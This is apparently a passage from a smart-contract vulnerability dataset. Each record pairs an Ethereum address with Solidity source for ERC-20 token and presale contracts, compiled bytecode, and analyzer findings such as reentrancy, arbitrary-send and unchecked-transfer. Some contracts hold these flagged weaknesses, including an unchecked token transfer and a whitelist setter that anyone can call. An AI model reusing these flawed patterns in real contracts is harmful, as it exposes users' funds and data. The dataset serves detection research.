04052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae1c0cb99c156618d3563c553ccf03fe1298c4079d10246a9d2aa4649ed59dbf64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
504
0x1ef62a7adba8c6e1903a1723f208f88636cd5470
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = false; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can&#39;t be false while pausedOwnerAdmin is true */ function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract WbtToken is PausableToken { string public constant name = "WBT"; string public constant symbol = "WBT"; uint8 public constant decimals = 8; bool private changed; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } function WbtToken() public { // assign the admin account admin = msg.sender; changed = false; // assign the total tokens to Trinity 1 B totalSupply = 1 * 1000 * 1000 * 1000 * 100000000; balances[msg.sender] = totalSupply; Transfer(address(0x0), msg.sender, totalSupply); } function transfer(address _to, uint _value) validDestination(_to) public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) public returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) public returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) public onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) public onlyOwner { // owner can re-assign the admin AdminTransferred(admin, newAdmin); admin = newAdmin; } function changeAll(address newOwner) public onlyOwner{ if (!changed){ transfer(newOwner,totalSupply); changeAdmin(newOwner); transferOwnership(newOwner); changed = true; } } }
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bb5780630ba7ebe21461021557806318160ddd1461024e57806323b872dd1461027757806324bb7c26146102f0578063313ce5671461031d57806342966c681461034c57806364779ad71461038757806366188463146103b457806370a082311461040e57806379cc67901461045b5780638da5cb5b146104b55780638f2839701461050a57806395d89b4114610543578063a9059cbb146105d1578063d73dd6231461062b578063db0e16f114610685578063dd62ed3e146106c7578063ddeb509414610733578063f2fde38b14610763578063f851a4401461079c575b600080fd5b341561013857600080fd5b6101406107f1565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610180578082015181840152602081019050610165565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c657600080fd5b6101fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082a565b604051808215151515815260200191505060405180910390f35b341561022057600080fd5b61024c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610928565b005b341561025957600080fd5b6102616109d8565b6040518082815260200191505060405180910390f35b341561028257600080fd5b6102d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109de565b604051808215151515815260200191505060405180910390f35b34156102fb57600080fd5b610303610a6d565b604051808215151515815260200191505060405180910390f35b341561032857600080fd5b610330610a80565b604051808260ff1660ff16815260200191505060405180910390f35b341561035757600080fd5b61036d6004808035906020019091905050610a85565b604051808215151515815260200191505060405180910390f35b341561039257600080fd5b61039a610bf4565b604051808215151515815260200191505060405180910390f35b34156103bf57600080fd5b6103f4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c07565b604051808215151515815260200191505060405180910390f35b341561041957600080fd5b610445600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d05565b6040518082815260200191505060405180910390f35b341561046657600080fd5b61049b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d4e565b604051808215151515815260200191505060405180910390f35b34156104c057600080fd5b6104c8610d74565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561051557600080fd5b610541600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9a565b005b341561054e57600080fd5b610556610eb6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059657808201518184015260208101905061057b565b50505050905090810190601f1680156105c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105dc57600080fd5b610611600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eef565b604051808215151515815260200191505060405180910390f35b341561063657600080fd5b61066b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f7c565b604051808215151515815260200191505060405180910390f35b341561069057600080fd5b6106c5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061107a565b005b34156106d257600080fd5b61071d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111c3565b6040518082815260200191505060405180910390f35b341561073e57600080fd5b61076160048080351515906020019091908035151590602001909190505061124a565b005b341561076e57600080fd5b61079a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611378565b005b34156107a757600080fd5b6107af6114d0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600381526020017f574254000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161561091657600360159054906101000a900460ff16151561091057600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109005750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561090b57600080fd5b610915565b600080fd5b5b61092083836114f6565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098457600080fd5b600460149054906101000a900460ff1615156109d5576109a681600054610eef565b506109b081610d9a565b6109b981611378565b6001600460146101000a81548160ff0219169083151502179055505b50565b60005481565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a1d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a5857600080fd5b610a638585856115e8565b9150509392505050565b600360149054906101000a900460ff1681565b600881565b6000610ad982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b31826000546116e890919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600360159054906101000a900460ff1681565b6000600360149054906101000a900460ff1615610cf357600360159054906101000a900460ff161515610ced57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610cdd5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610ce857600080fd5b610cf2565b600080fd5b5b610cfd8383611701565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610d5b8333846109de565b1515610d6357fe5b610d6c82610a85565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610df657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600381526020017f574254000000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f2e57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f6957600080fd5b610f738484611992565b91505092915050565b6000600360149054906101000a900460ff161561106857600360159054906101000a900460ff16151561106257600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110525750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561105d57600080fd5b611067565b600080fd5b5b6110728383611a90565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156111a357600080fd5b6102c65a03f115156111b457600080fd5b50505060405180519050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112a657600080fd5b600015158215151480156112be575060011515811515145b1515156112ca57600080fd5b81600360146101000a81548160ff02191690831515021790555080600360156101000a81548160ff0219169083151502179055507fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051808215151515815260200191505060405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051808215151515815260200191505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561141057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff16156116d457600360159054906101000a900460ff1615156116ce57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116be5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156116c957600080fd5b6116d3565b600080fd5b5b6116df848484611c8c565b90509392505050565b60008282111515156116f657fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611812576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6565b61182583826116e890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff1615611a7e57600360159054906101000a900460ff161515611a7857600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a685750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611a7357600080fd5b611a7d565b600080fd5b5b611a88838361204b565b905092915050565b6000611b2182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611cc957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d1757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611da257600080fd5b611df482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e8982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561208857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156120d657600080fd5b61212882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121bd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561228357fe5b80915050929150505600a165627a7a72305820d68dc9f60a56a68ad44727bc8da02a5a65af040d1fb7626e4305df450250fbd60029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
505
0x173566176a1deebb47569c8366e84ba7b10b3b8b
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface TokenInterface { function totalSupply() external constant returns (uint); function balanceOf(address tokenOwner) external constant returns (uint balance); function allowance(address tokenOwner, address spender) external constant returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); function burn(uint256 _value) external; event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Burn(address indexed burner, uint256 value); } contract KRCPreSaleContract is Ownable{ using SafeMath for uint256; // The token being sold TokenInterface public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // how many token units a buyer gets per wei uint256 public ratePerWei; // amount of raised money in wei uint256 public weiRaised; uint256 public TOKENS_SOLD; uint256 maxTokensToSale; uint256 bonusInPhase1; uint256 bonusInPhase2; uint256 minimumContribution; uint256 maximumContribution; bool isCrowdsalePaused = false; uint256 totalDurationInDays = 30 days; uint256 LongTermFoundationBudgetAccumulated; uint256 LegalContingencyFundsAccumulated; uint256 MarketingAndCommunityOutreachAccumulated; uint256 CashReserveFundAccumulated; uint256 OperationalExpensesAccumulated; uint256 SoftwareProductDevelopmentAccumulated; uint256 FoundersTeamAndAdvisorsAccumulated; uint256 LongTermFoundationBudgetPercentage; uint256 LegalContingencyFundsPercentage; uint256 MarketingAndCommunityOutreachPercentage; uint256 CashReserveFundPercentage; uint256 OperationalExpensesPercentage; uint256 SoftwareProductDevelopmentPercentage; uint256 FoundersTeamAndAdvisorsPercentage; struct Whitelist { string Email; } mapping (address => Whitelist) Whitelists; address[] public WhitelistsAccts; function setWhitelist(address _address, string _Email) public { var whitelist = Whitelists[_address]; whitelist.Email = _Email; WhitelistsAccts.push(_address) -1; } function getWhitelist() view public returns (address[]) { return WhitelistsAccts; } function searchWhitelist(address _address) view public returns (string){ return (Whitelists[_address].Email); } function countWhitelists() view public returns (uint) { return WhitelistsAccts.length; } /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function KRCPreSaleContract(uint256 _startTime, address _wallet, address _tokenAddress) public { require(_startTime >=now); require(_wallet != 0x0); startTime = _startTime; endTime = startTime + totalDurationInDays; require(endTime >= startTime); owner = _wallet; maxTokensToSale = 87500000e18; bonusInPhase1 = 10; bonusInPhase2 = 5; minimumContribution = 5e17; maximumContribution = 150e18; ratePerWei = 10000e18; token = TokenInterface(_tokenAddress); LongTermFoundationBudgetAccumulated = 0; LegalContingencyFundsAccumulated = 0; MarketingAndCommunityOutreachAccumulated = 0; CashReserveFundAccumulated = 0; OperationalExpensesAccumulated = 0; SoftwareProductDevelopmentAccumulated = 0; FoundersTeamAndAdvisorsAccumulated = 0; LongTermFoundationBudgetPercentage = 15; LegalContingencyFundsPercentage = 10; MarketingAndCommunityOutreachPercentage = 10; 